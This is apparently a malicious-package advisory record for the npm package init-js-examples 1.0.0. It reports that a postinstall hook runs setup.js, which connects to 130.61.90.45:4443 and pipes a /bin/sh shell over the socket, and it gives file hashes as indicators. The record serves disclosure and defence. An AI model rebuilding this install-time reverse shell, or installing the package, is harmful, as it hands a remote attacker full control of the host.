init-js-examples

{"modified":"2026-07-22T20:24:58Z","published":"2026-07-22T20:24:58Z","schema_version":"1.7.4","id":"MAL-2026-10996","summary":"Malicious code in init-js-examples (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2)\nThe package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, \"130.61.90.45\") with cp.spawn(\"/bin/sh\") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running `npm install init-js-examples` automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.\n","affected":[{"package":{"ecosystem":"npm","name":"init-js-examples"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"setup.js","sha256":"90886bce3eef9a2e6219aa9e2b03f0433946f47e0ce246f55aa6bc9fe8a9cc0e","tlsh":"8ae0928964b320b66273716aca2f811736b3001b3a02e199740d8c984f95408276eae1"},{"path":"package.json","sha256":"662d5bebce84305922c3325c8cfaa8ab0f1faa6b77cf2a21a0f551830d6df544","tlsh":"a3d02e240e62563325c412670c2e9046b230ce2f0044bc1893db082c46cf2b36cfb30d"}],"package_integrity":[{"filename":"init-js-examples-1.0.0.tgz","hashes":{"sha1":"26ced34708e5b1015dc866d4651bfe490c7fcdb8","sha512_sri":"sha512-k/NjK1XFvKyaZkBkkLyGgRWldxZ/hKo8Dgf2Hx5iiAEV9ELDZSYkkw2+NHZ+QAzA0JbFMuJlbmXyfi1RhSf5IA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/init-js-examples/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-010800","import_time":"2026-07-22T20:31:07.774821365Z","modified_time":"2026-07-22T20:24:58Z","sha256":"6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2","source":"amazon-inspector","versions":["1.0.0"]}]}}